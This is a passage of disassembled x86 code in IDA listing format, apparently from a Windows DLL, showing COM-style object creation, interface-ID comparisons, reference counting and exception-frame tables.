; =============== S U B R O U T I N E =======================================
sub_69B7808B proc near ; CODE XREF: sub_69B16A74+53p
; sub_69B784F7+18p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B16A14 SIZE 00000028 BYTES
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B7809D
mov ecx, eax
jmp loc_69B16A14
; ---------------------------------------------------------------------------
loc_69B7809D: ; CODE XREF: sub_69B7808B+9j
xor eax, eax
retn 4
sub_69B7808B endp
; =============== S U B R O U T I N E =======================================
sub_69B780A2 proc near ; DATA XREF: .text:69B789F8o
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
add ecx, 0FFFFFFC4h
mov eax, [ecx]
call dword ptr [eax+14h]
xor eax, eax
inc eax
retn 4
sub_69B780A2 endp
; =============== S U B R O U T I N E =======================================
sub_69B780B4 proc near ; DATA XREF: .text:69B789FCo
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
add ecx, 0FFFFFFC4h
mov eax, [ecx]
call dword ptr [eax+18h]
xor eax, eax
inc eax
retn 4
sub_69B780B4 endp
; =============== S U B R O U T I N E =======================================
sub_69B780C6 proc near ; CODE XREF: sub_69B788D7+3j
; DATA XREF: .text:69B14450o
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+28h]
mov ecx, [edi]
xor ebx, ebx
cmp ecx, ebx
jz short loc_69B780F4
lea eax, [esi+3Ch]
push eax
call sub_69B774BB
mov eax, [edi]
push ebx
add eax, 0F0h
push eax
call sub_69B2DEB2
push ebx
push edi
call sub_69B17320
loc_69B780F4: ; CODE XREF: sub_69B780C6+Ej
push ebx
lea eax, [esi+2Ch]
push eax
call sub_69B17320
push ebx
lea eax, [esi+30h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+34h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+38h]
push eax
call sub_69B17320
pop edi
mov ecx, esi
pop esi
pop ebx
jmp sub_69B7DC68
sub_69B780C6 endp
; ---------------------------------------------------------------------------
loc_69B78126: ; CODE XREF: .text:69B788D2j
; DATA XREF: .text:off_69B1441Co
push 34h
push offset dword_69B782D0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B78149
mov eax, 80004005h
jmp loc_69B782B8
; ---------------------------------------------------------------------------
loc_69B78149: ; CODE XREF: .text:69B7813Dj
mov ebx, [ebp+8]
push ebx
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-2Ch], 0
and dword ptr [ebp-4], 0
push 4
pop ecx
mov edi, offset stru_69B1CA6C
mov eax, [ebp+0Ch]
mov esi, eax
xor edx, edx
repe cmpsd
jnz short loc_69B7817F
push ebx
push dword ptr [ebp+10h]
call sub_69B17320
jmp loc_69B782A0
; ---------------------------------------------------------------------------
loc_69B7817F: ; CODE XREF: .text:69B7816Fj
push 4
pop ecx
mov edi, offset dword_69B2A558
mov esi, eax
xor edx, edx
repe cmpsd
jnz short loc_69B781B8
push 18h
call sub_69B1D897
mov ecx, eax
mov [ebp-30h], ecx
test ecx, ecx
jz loc_69B78276
mov eax, [ebx+38h]
mov [ebp-34h], eax
push eax
add ebx, 24h
push ebx
call sub_69B1694C
jmp loc_69B78278
; ---------------------------------------------------------------------------
loc_69B781B8: ; CODE XREF: .text:69B7818Dj
push 4
pop ecx
mov edi, offset dword_69B2B0C0
mov esi, eax
xor edx, edx
repe cmpsd
jnz short loc_69B781EA
mov eax, [ebx+38h]
mov [ebp-38h], eax
push eax
push ebx
call sub_69B8A09C
loc_69B781D5: ; CODE XREF: .text:69B7824Fj
; .text:69B78253j
mov ecx, eax
add eax, 4
neg ecx
sbb ecx, ecx
and ecx, eax
mov eax, [ebp+10h]
mov [eax], ecx
jmp loc_69B782A0
; ---------------------------------------------------------------------------
loc_69B781EA: ; CODE XREF: .text:69B781C6j
push 4
pop ecx
mov edi, offset dword_69B2B110
mov esi, eax
xor edx, edx
repe cmpsd
jnz short loc_69B78209
mov eax, [ebx+38h]
mov [ebp-3Ch], eax
push eax
push ebx
call sub_69B8A09C
jmp short loc_69B78278
; ---------------------------------------------------------------------------
loc_69B78209: ; CODE XREF: .text:69B781F8j
push 4
pop ecx
mov edi, offset dword_69B2AFE0
mov esi, eax
xor edx, edx
repe cmpsd
jz short loc_69B7825E
push 4
pop ecx
mov edi, offset dword_69B782C0
mov esi, eax
xor edx, edx
repe cmpsd
jz short loc_69B7825E
push 4
pop ecx
mov edi, offset dword_69B2AFC0
mov esi, eax
xor eax, eax
repe cmpsd
jnz short loc_69B78255
push 1Ch
call sub_69B1D897
mov [ebp-40h], eax
test eax, eax
jz short loc_69B78251
push ebx
mov ecx, eax
call sub_69B77918
jmp short loc_69B781D5
; ---------------------------------------------------------------------------
loc_69B78251: ; CODE XREF: .text:69B78245j
xor eax, eax
jmp short loc_69B781D5
; ---------------------------------------------------------------------------
loc_69B78255: ; CODE XREF: .text:69B78237j
mov dword ptr [ebp-2Ch], 80004002h
jmp short loc_69B782A0
; ---------------------------------------------------------------------------
loc_69B7825E: ; CODE XREF: .text:69B78217j
; .text:69B78227j
push 1Ch
call sub_69B1D897
mov [ebp-44h], eax
test eax, eax
jz short loc_69B78276
push ebx
mov ecx, eax
call sub_69B77918
jmp short loc_69B78278
; ---------------------------------------------------------------------------
loc_69B78276: ; CODE XREF: .text:69B7819Dj
; .text:69B7826Aj
xor eax, eax
loc_69B78278: ; CODE XREF: .text:69B781B3j
; .text:69B78207j ...
mov ecx, [ebp+10h]
mov [ecx], eax
jmp short loc_69B782A0
; ---------------------------------------------------------------------------
loc_69B7827F: ; DATA XREF: .text:69B782D4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B78288: ; DATA XREF: .text:69B782D8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
loc_69B782A0: ; CODE XREF: .text:69B7817Aj
; .text:69B781E5j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B782B8: ; CODE XREF: .text:69B78144j
call sub_69B1853C
retn 0Ch
; ---------------------------------------------------------------------------
dword_69B782C0 dd 310AFA62h, 11D20575h, 6000A99Ch, 393DECB0h ; .data:off_69B9A990o
dword_69B782D0 dd 0FFFFFFFFh dd offset loc_69B7827F
dd offset loc_69B78288
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B782DC(LPCWSTR lpString, int)
sub_69B782DC proc near ; DATA XREF: .text:69B14410o
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov esi, ecx
push edi
mov edi, [esi+4]
xor ecx, ecx
cmp edi, ecx
mov [ebp+var_4], ecx
jz loc_69B7843E
mov eax, [ebp+lpString]
cmp eax, ecx
push ebx
jz short loc_69B78329
cmp [eax], cx
jz short loc_69B78329
mov edx, [esi+1Ch]
shr edx, 3
test dl, 1
jz short loc_69B7831A
push 80070057h
call sub_69B2E8B8
jmp short loc_69B78329
; ---------------------------------------------------------------------------
loc_69B7831A: ; CODE XREF: sub_69B782DC+30j
mov ebx, [edi]
push ecx
push eax ; lpString
call sub_69B1A587
push eax
mov ecx, edi
call dword ptr [ebx+50h]
loc_69B78329: ; CODE XREF: sub_69B782DC+20j
; sub_69B782DC+25j ...
mov ecx, [esi+4]
call sub_69B3D6C4
test eax, eax
mov [ebp+lpString], eax
jz loc_69B7843D
mov ecx, [esi+10h]
test ecx, ecx
jz loc_69B7843D
call sub_69B3D6C4
mov edi, eax
test edi, edi
jz loc_69B7843D
test byte ptr [esi+1Ch], 1
jnz short loc_69B783AC
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+70h]
cmp eax, 2
jnz short loc_69B7839D
mov eax, [edi]
lea ecx, [ebp+var_C]
push ecx
mov ecx, edi
call dword ptr [eax+68h]
mov ebx, eax
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 19h
mov [ebp+var_8], eax
jg short loc_69B78388
call sub_69B2E6D8
loc_69B78388: ; CODE XREF: sub_69B782DC+A5j
mov eax, [ebp+var_8]
mov eax, [eax+70h]
mov [ebp+var_8], eax
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+38h]
cmp eax, [ebp+var_8]
jz short loc_69B783AC
loc_69B7839D: ; CODE XREF: sub_69B782DC+8Aj
mov ecx, [ebp+lpString]
mov eax, [ecx]
call dword ptr [eax+64h]
mov [ebp+lpString], eax
mov ebx, edi
jmp short loc_69B783BD
; ---------------------------------------------------------------------------
loc_69B783AC: ; CODE XREF: sub_69B782DC+7Ej
; sub_69B782DC+BFj
or dword ptr [esi+1Ch], 4
mov eax, [edi]
lea ecx, [ebp+var_C]
push ecx
mov ecx, edi
call dword ptr [eax+68h]
mov ebx, eax
loc_69B783BD: ; CODE XREF: sub_69B782DC+CEj
test ebx, ebx
jz short loc_69B7843D
push 50h
call sub_69B17EF3
test eax, eax
jz short loc_69B783F4
mov ecx, [esi+1Ch]
mov edx, [esi+10h]
mov edi, [esi+4]
shr ecx, 3
not cl
and ecx, 0FFFFFF01h
push ecx
push 0
push ebx
push edx
push [ebp+lpString]
mov ecx, eax
push edi
call sub_69B79659
mov edi, eax
jmp short loc_69B783F6
; ---------------------------------------------------------------------------
loc_69B783F4: ; CODE XREF: sub_69B782DC+EEj
xor edi, edi
loc_69B783F6: ; CODE XREF: sub_69B782DC+116j
push 18h
call sub_69B1D897
test eax, eax
jz short loc_69B78411
mov ecx, [esi+4]
push dword ptr [ecx+3Ch]
mov ecx, eax
push edi
call sub_69B1699C
jmp short loc_69B78413
; ---------------------------------------------------------------------------
loc_69B78411: ; CODE XREF: sub_69B782DC+123j
xor eax, eax
loc_69B78413: ; CODE XREF: sub_69B782DC+133j
push eax
add esi, 0Ch
push esi
call sub_69B17320
mov eax, [esi]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov esi, [esi]
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
push [ebp+arg_4]
push esi
call dword ptr [eax]
test eax, eax
jz short loc_69B7843D
push eax
call sub_69B2E8B8
loc_69B7843D: ; CODE XREF: sub_69B782DC+5Aj
; sub_69B782DC+65j ...
pop ebx
loc_69B7843E: ; CODE XREF: sub_69B782DC+14j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn 8
sub_69B782DC endp
; =============== S U B R O U T I N E =======================================
sub_69B78447 proc near ; DATA XREF: .text:69B14414o
arg_0 = dword ptr 4
push [esp+arg_0]
add ecx, 8
push ecx
call sub_69B17320
retn 4
sub_69B78447 endp
; =============== S U B R O U T I N E =======================================
sub_69B78457 proc near ; DATA XREF: .text:69B14418o
arg_0 = dword ptr 4
lea eax, [ecx+8]
mov ecx, [eax]
cmp ecx, [esp+arg_0]
jnz short locret_69B7846A
push 0
push eax
call sub_69B17320
locret_69B7846A: ; CODE XREF: sub_69B78457+9j
retn 4
sub_69B78457 endp
; =============== S U B R O U T I N E =======================================
sub_69B7846D proc near ; CODE XREF: sub_69B77375+2Bp
; sub_69B773BE+17p ...
mov eax, [ecx+30h]
test eax, eax
jnz short loc_69B78475
retn
; ---------------------------------------------------------------------------
loc_69B78475: ; CODE XREF: sub_69B7846D+5j
mov eax, [eax+10h]
retn
sub_69B7846D endp
; =============== S U B R O U T I N E =======================================
sub_69B78479 proc near ; CODE XREF: sub_69B77375:loc_69B773B4p
; sub_69B78A58+3p
test byte ptr [ecx+40h], 2
jnz short locret_69B7848A
push 0
add ecx, 34h
push ecx
call sub_69B17320
locret_69B7848A: ; CODE XREF: sub_69B78479+4j
retn
sub_69B78479 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7848B proc near ; CODE XREF: sub_69B78A78+130p
; sub_69B78A78+291p
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
lea eax, [ebp+var_4]
push eax
call sub_69B49F0B
xor ebx, ebx
mov esi, eax
inc ebx
test esi, esi
jz short loc_69B784E3
push edi
loc_69B784A7: ; CODE XREF: sub_69B7848B+55j
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Ah
mov edi, eax
jg short loc_69B784B9
call sub_69B2E6D8
loc_69B784B9: ; CODE XREF: sub_69B7848B+27j
mov eax, [edi+74h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
mov eax, [eax+8]
cmp eax, [ebp+arg_4]
jz short loc_69B784E2
mov ecx, [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_69B47DCC
mov esi, eax
inc ebx
test esi, esi
jnz short loc_69B784A7
loc_69B784E2: ; CODE XREF: sub_69B7848B+42j
pop edi
loc_69B784E3: ; CODE XREF: sub_69B7848B+19j
mov eax, [ebp+arg_8]
mov [eax], ebx
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_69B784F1
mov [eax], esi
loc_69B784F1: ; CODE XREF: sub_69B7848B+62j
pop esi
pop ebx
leave
retn 10h
sub_69B7848B endp
; =============== S U B R O U T I N E =======================================
sub_69B784F7 proc near ; CODE XREF: sub_69B7855F+8Fp
; sub_69B7855F+FBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
push dword ptr [edi+8]
mov ebx, ecx
call sub_69B77DD5
mov esi, eax
test esi, esi
jnz short loc_69B78525
push edi
call sub_69B7808B
mov esi, eax
push esi
push dword ptr [edi+8]
mov ecx, ebx
call sub_69B77DB1
test esi, esi
jz short loc_69B78557
loc_69B78525: ; CODE XREF: sub_69B784F7+15j
push [esp+0Ch+arg_4]
mov ecx, esi
call sub_69B77AC4
cmp [esp+0Ch+arg_4], 0
jnz short loc_69B78557
mov eax, [esi+10h]
mov ecx, eax
shr ecx, 1
test cl, 1
jz short loc_69B78557
mov ecx, eax
shr ecx, 4
test cl, 1
jz short loc_69B78553
or eax, 4
mov [esi+10h], eax
loc_69B78553: ; CODE XREF: sub_69B784F7+54j
or dword ptr [esi+10h], 10h
loc_69B78557: ; CODE XREF: sub_69B784F7+2Cj
; sub_69B784F7+3Ej ...
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_69B784F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7855F proc near ; CODE XREF: sub_69B7855F+AFp
; sub_69B786CD+A1p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ecx+8]
mov eax, [eax+8]
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_0]
mov ecx, [ecx+48h]
test ecx, ecx
jz locret_69B7866D
push edi
push eax
call sub_69B1980A
mov edi, eax
test edi, edi
mov [ebp+var_C], edi
jz loc_69B7866C
mov ecx, [edi+2Ch]
push ebx
push esi
mov [ebp+var_8], ecx
call sub_69B8F18E
mov esi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
mov ebx, [ebp+arg_4]
jz short loc_69B78621
loc_69B785AD: ; CODE XREF: sub_69B7855F+BDj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov edi, eax
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1
mov [ebp+arg_4], eax
jg short loc_69B785C9
call sub_69B2E6D8
loc_69B785C9: ; CODE XREF: sub_69B7855F+63j
mov eax, [ebp+arg_4]
mov eax, [eax+10h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx+24h]
test al, al
jnz short loc_69B78613
mov ecx, [ebx+0Ch]
push 0
push 0
push edi
call sub_69B3DA18
mov ecx, [ebp+var_4]
push 0
push eax
call sub_69B784F7
mov ecx, [ebp+var_8]
push edi
mov [ebp+arg_4], eax
call sub_69B8F80F
test al, al
mov ecx, [ebp+arg_4]
jz short loc_69B7860A
or dword ptr [ecx+10h], 4
loc_69B7860A: ; CODE XREF: sub_69B7855F+A5j
push ebx
push [ebp+arg_0]
call sub_69B7855F
loc_69B78613: ; CODE XREF: sub_69B7855F+7Aj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jnz short loc_69B785AD
mov edi, [ebp+var_C]
loc_69B78621: ; CODE XREF: sub_69B7855F+4Cj
mov edi, [edi+30h]
test edi, edi
jz short loc_69B7866A
mov ecx, edi
call sub_69B8A4F3
mov esi, eax
test esi, esi
jz short loc_69B7866A
jmp short loc_69B7865F
; ---------------------------------------------------------------------------
loc_69B78637: ; CODE XREF: sub_69B7855F+109j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
cmp byte ptr [eax+31h], 0
jnz short loc_69B7865F
mov eax, [eax+8]
mov ecx, [ebx+0Ch]
push 0
push 0
push eax
call sub_69B3DA18
mov ecx, [ebp+var_4]
push 1
push eax
call sub_69B784F7
loc_69B7865F: ; CODE XREF: sub_69B7855F+D6j
; sub_69B7855F+E3j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jnz short loc_69B78637
loc_69B7866A: ; CODE XREF: sub_69B7855F+C7j
; sub_69B7855F+D4j
pop esi
pop ebx
loc_69B7866C: ; CODE XREF: sub_69B7855F+2Bj
pop edi
locret_69B7866D: ; CODE XREF: sub_69B7855F+17j
leave
retn 8
sub_69B7855F endp
; =============== S U B R O U T I N E =======================================
sub_69B78671 proc near ; DATA XREF: .text:69B14E1Co
; .text:69B16A48o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B4713A
test [esp+4+arg_0], 1
jz short loc_69B78686
push esi
call sub_69B1829F
loc_69B78686: ; CODE XREF: sub_69B78671+Dj
mov eax, esi
pop esi
retn 4
sub_69B78671 endp
; =============== S U B R O U T I N E =======================================
sub_69B7868C proc near ; DATA XREF: .text:69B151BCo
; .text:69B16AECo ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B786A7
test [esp+4+arg_0], 1
jz short loc_69B786A1
push esi
call sub_69B1829F
loc_69B786A1: ; CODE XREF: sub_69B7868C+Dj
mov eax, esi
pop esi
retn 4
sub_69B7868C endp
; =============== S U B R O U T I N E =======================================
sub_69B786A7 proc near ; CODE XREF: sub_69B7868C+3p
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B786A7 endp
; =============== S U B R O U T I N E =======================================
sub_69B786CD proc near ; CODE XREF: sub_69B78A1F+14p
push 1Ch
push offset dword_69B787B8
call sub_69B19C5C
mov edi, ecx
mov byte ptr [ebp-19h], 0
test byte ptr [edi+40h], 1
jnz loc_69B787A6
mov eax, [ebp+8]
test eax, eax
jz loc_69B787A6
cmp dword ptr [eax+48h], 0
jz loc_69B787A6
mov eax, [eax+5Ch]
test eax, eax
jz short loc_69B78709
loc_69B78705: ; CODE XREF: sub_69B786CD+57j
mov esi, eax
jmp short loc_69B78728
; ---------------------------------------------------------------------------
loc_69B78709: ; CODE XREF: sub_69B786CD+36j
mov ecx, [edi+28h]
call sub_69B3D6C4
test eax, eax
jz short loc_69B78726
mov ecx, [edi+28h]
call sub_69B3D6C4
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+3Ch]
jmp short loc_69B78705
; ---------------------------------------------------------------------------
loc_69B78726: ; CODE XREF: sub_69B786CD+46j
xor esi, esi
loc_69B78728: ; CODE XREF: sub_69B786CD+3Aj
test esi, esi
jz short loc_69B787A6
and dword ptr [ebp-4], 0
call sub_69B1BCCF
mov ebx, eax
mov [ebp-20h], ebx
push 14h
call sub_69B17EF3
mov [ebp-24h], eax
test eax, eax
jz short loc_69B78752
push ebx
mov ecx, eax
call sub_69B16A74
jmp short loc_69B78754
; ---------------------------------------------------------------------------
loc_69B78752: ; CODE XREF: sub_69B786CD+79j
xor eax, eax
loc_69B78754: ; CODE XREF: sub_69B786CD+83j
mov [ebp-28h], eax
push esi
call sub_69B7808B
mov esi, eax
mov [ebp-2Ch], esi
or dword ptr [esi+10h], 8
push dword ptr [ebp-28h]
push dword ptr [ebp+8]
mov ecx, esi
call sub_69B7855F
push 0
push dword ptr [ebp-28h]
mov ecx, esi
call sub_69B77E15
push eax
mov ecx, ebx
call sub_69B3D6D2
push ebx
lea ecx, [edi+34h]
call sub_69B199CC
mov byte ptr [ebp-19h], 1
jmp short loc_69B787A2
; ---------------------------------------------------------------------------
loc_69B78796: ; DATA XREF: .text:69B787BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7879F: ; DATA XREF: .text:69B787C0o
mov esp, [ebp-18h]
loc_69B787A2: ; CODE XREF: sub_69B786CD+C7j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B787A6: ; CODE XREF: sub_69B786CD+16j
; sub_69B786CD+21j ...
mov al, [ebp-19h]
call sub_69B1853C
retn 4
sub_69B786CD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B787B8 dd 0FFFFFFFFh dd offset loc_69B78796
dd offset loc_69B7879F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B787C4 proc near ; CODE XREF: sub_69B787C4+41p
; sub_69B78A1F-D9p
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, ecx
mov ecx, [ebp+arg_4]
push edi
call sub_69B77BCC
mov esi, [ebp+arg_0]
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
mov ecx, esi
call dword ptr [eax+68h]
jmp short loc_69B78815
; ---------------------------------------------------------------------------
loc_69B787E5: ; CODE XREF: sub_69B787C4+55j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
test eax, eax
jnz short loc_69B7880A
push eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov ecx, [ebp+arg_4]
push eax
call sub_69B784F7
push eax
push edi
mov ecx, ebx
call sub_69B787C4
loc_69B7880A: ; CODE XREF: sub_69B787C4+2Aj
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
mov ecx, esi
call dword ptr [eax+6Ch]
loc_69B78815: ; CODE XREF: sub_69B787C4+1Fj
mov edi, eax
test edi, edi
jnz short loc_69B787E5
test byte ptr [ebx+40h], 1
jnz short loc_69B78855
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
mov ecx, esi
call dword ptr [eax+9Ch]
jmp short loc_69B78851
; ---------------------------------------------------------------------------
loc_69B78831: ; CODE XREF: sub_69B787C4+8Fj
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx+3Ch]
mov ecx, [ebp+arg_4]
push eax
call sub_69B784F7
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
mov ecx, esi
call dword ptr [eax+0A0h]
loc_69B78851: ; CODE XREF: sub_69B787C4+6Bj
test eax, eax
jnz short loc_69B78831
loc_69B78855: ; CODE XREF: sub_69B787C4+5Bj
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B787C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B7885C proc near ; CODE XREF: sub_69B78A04+3p
; FUNCTION CHUNK AT 69B3F2EC SIZE 00000019 BYTES
push esi
mov esi, ecx
push edi
lea eax, [esi+38h]
lea edi, [esi+24h]
push eax
mov dword ptr [esi], offset off_69B1441C
mov dword ptr [esi+0Ch], offset off_69B2A550
mov dword ptr [edi], offset off_69B143D8
call sub_69B17230
lea eax, [esi+34h]
push eax
call sub_69B17230
lea eax, [esi+30h]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
lea eax, [esi+28h]
push eax
call sub_69B17230
mov ecx, edi
call sub_69B18700
pop edi
mov ecx, esi
pop esi
jmp loc_69B3F2EC
sub_69B7885C endp
; ---------------------------------------------------------------------------
loc_69B788B3: ; DATA XREF: .text:69B143E0o
sub dword ptr [esp+4], 24h
jmp sub_69B183AF
; ---------------------------------------------------------------------------
loc_69B788BD: ; DATA XREF: .text:69B143E4o
sub ecx, 24h
jmp sub_69B78A04
; ---------------------------------------------------------------------------
loc_69B788C5: ; DATA XREF: .text:69B143F4o
sub ecx, 24h
jmp sub_69B77AE6
; ---------------------------------------------------------------------------
loc_69B788CD: ; DATA XREF: .text:off_69B143D8o
sub dword ptr [esp+4], 24h
jmp loc_69B78126
; =============== S U B R O U T I N E =======================================
sub_69B788D7 proc near ; DATA XREF: .text:69B1440Co
sub ecx, 24h
jmp sub_69B780C6
sub_69B788D7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B78A1F
loc_69B788DF: ; CODE XREF: sub_69B78A1F+32j
push 20h
push offset dword_69B78988
call sub_69B19C5C
mov ebx, ecx
and dword ptr [ebp-4], 0
call sub_69B1BCCF
mov [ebp-1Ch], eax
push 14h
call sub_69B17EF3
mov [ebp-20h], eax
test eax, eax
jz short loc_69B78913
push dword ptr [ebp-1Ch]
mov ecx, eax
call sub_69B16A74
jmp short loc_69B78915
; ---------------------------------------------------------------------------
loc_69B78913: ; CODE XREF: sub_69B78A1F-11Aj
xor eax, eax
loc_69B78915: ; CODE XREF: sub_69B78A1F-10Ej
mov [ebp-24h], eax
mov ecx, [ebx+28h]
mov [ebp-28h], ecx
call sub_69B3D6C4
mov edi, eax
mov [ebp-2Ch], edi
test edi, edi
jz short loc_69B78979
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
push eax
call sub_69B7808B
mov esi, eax
mov [ebp-30h], esi
or dword ptr [esi+10h], 8
push esi
push edi
mov ecx, ebx
call sub_69B787C4
push 0
push dword ptr [ebp-24h]
mov ecx, esi
call sub_69B77E15
push eax
mov ecx, [ebp-1Ch]
call sub_69B3D6D2
push dword ptr [ebp-1Ch]
lea ecx, [ebx+34h]
call sub_69B199CC
jmp short loc_69B78979
; END OF FUNCTION CHUNK FOR sub_69B78A1F
; =============== S U B R O U T I N E =======================================
sub_69B7896D proc near ; DATA XREF: .text:69B7898Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B7896D endp
; =============== S U B R O U T I N E =======================================
sub_69B78976 proc near ; DATA XREF: .text:69B78990o
mov esp, [ebp-18h]
sub_69B78976 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_69B78A1F
loc_69B78979: ; CODE XREF: sub_69B78A1F-F5j
; sub_69B78A1F-B4j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn
; END OF FUNCTION CHUNK FOR sub_69B78A1F
; ---------------------------------------------------------------------------
align 8
dword_69B78988 dd 0FFFFFFFFh dd offset sub_69B7896D
dd offset sub_69B78976
; =============== S U B R O U T I N E =======================================
sub_69B78994 proc near ; CODE XREF: sub_69B5D45C+12Fp
; .text:69B779FEp
push esi
push edi
mov esi, ecx
call sub_69B1D6B9
lea edi, [esi+24h]
mov ecx, edi
call sub_69B1818F
mov dword ptr [edi], offset off_69B143D8
mov dword ptr [esi], offset off_69B1441C
mov dword ptr [esi+0Ch], offset off_69B2A550
xor eax, eax
mov [esi+28h], eax
mov [esi+2Ch], eax
mov [esi+30h], eax
mov [esi+34h], eax
lea edi, [esi+38h]
mov [edi], eax
mov dword ptr [esi+3Ch], offset off_69B789F4
and dword ptr [esi+40h], 0FFFFFFF0h
call sub_69B1B352
push eax
push edi
call sub_69B17320
mov edi, [edi]
mov eax, [edi]
push edi
call dword ptr [eax+8]
pop edi
mov eax, esi
pop esi
retn
sub_69B78994 endp
; ---------------------------------------------------------------------------
align 4
off_69B789F4 dd offset loc_69B77B66 ; DATA XREF: sub_69B78994+39o
dd offset sub_69B780A2
dd offset sub_69B780B4
dd offset sub_69B78D24
; =============== S U B R O U T I N E =======================================
sub_69B78A04 proc near ; CODE XREF: .text:69B788C0j
; DATA XREF: .text:69B14428o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B7885C
test [esp+4+arg_0], 1
jz short loc_69B78A19
push esi
call sub_69B1829F
loc_69B78A19: ; CODE XREF: sub_69B78A04+Dj
mov eax, esi
pop esi
retn 4
sub_69B78A04 endp
; =============== S U B R O U T I N E =======================================
sub_69B78A1F proc near ; CODE XREF: sub_69B77417+11j
; sub_69B78A58+Ap
; FUNCTION CHUNK AT 69B788DF SIZE 0000008E BYTES
; FUNCTION CHUNK AT 69B78979 SIZE 0000000A BYTES
push esi
mov esi, ecx
cmp dword ptr [esi+34h], 0
jnz short loc_69B78A56
mov ecx, [esi+28h]
call sub_69B3DABE
push eax
mov ecx, esi
call sub_69B786CD
test al, al
jnz short loc_69B78A56
mov ecx, [esi+28h]
cmp dword ptr [ecx+40h], 4
jnz short loc_69B78A56
call sub_69B3D6C4
test eax, eax
jz short loc_69B78A56
mov ecx, esi
pop esi
jmp loc_69B788DF
; ---------------------------------------------------------------------------
loc_69B78A56: ; CODE XREF: sub_69B78A1F+7j
; sub_69B78A1F+1Bj ...
pop esi
retn
sub_69B78A1F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B78A58 proc near ; CODE XREF: sub_69B77375+24p
; sub_69B773BE+33p ...
push esi
mov esi, ecx
call sub_69B78479
mov ecx, esi
call sub_69B78A1F
mov esi, [esi+2Ch]
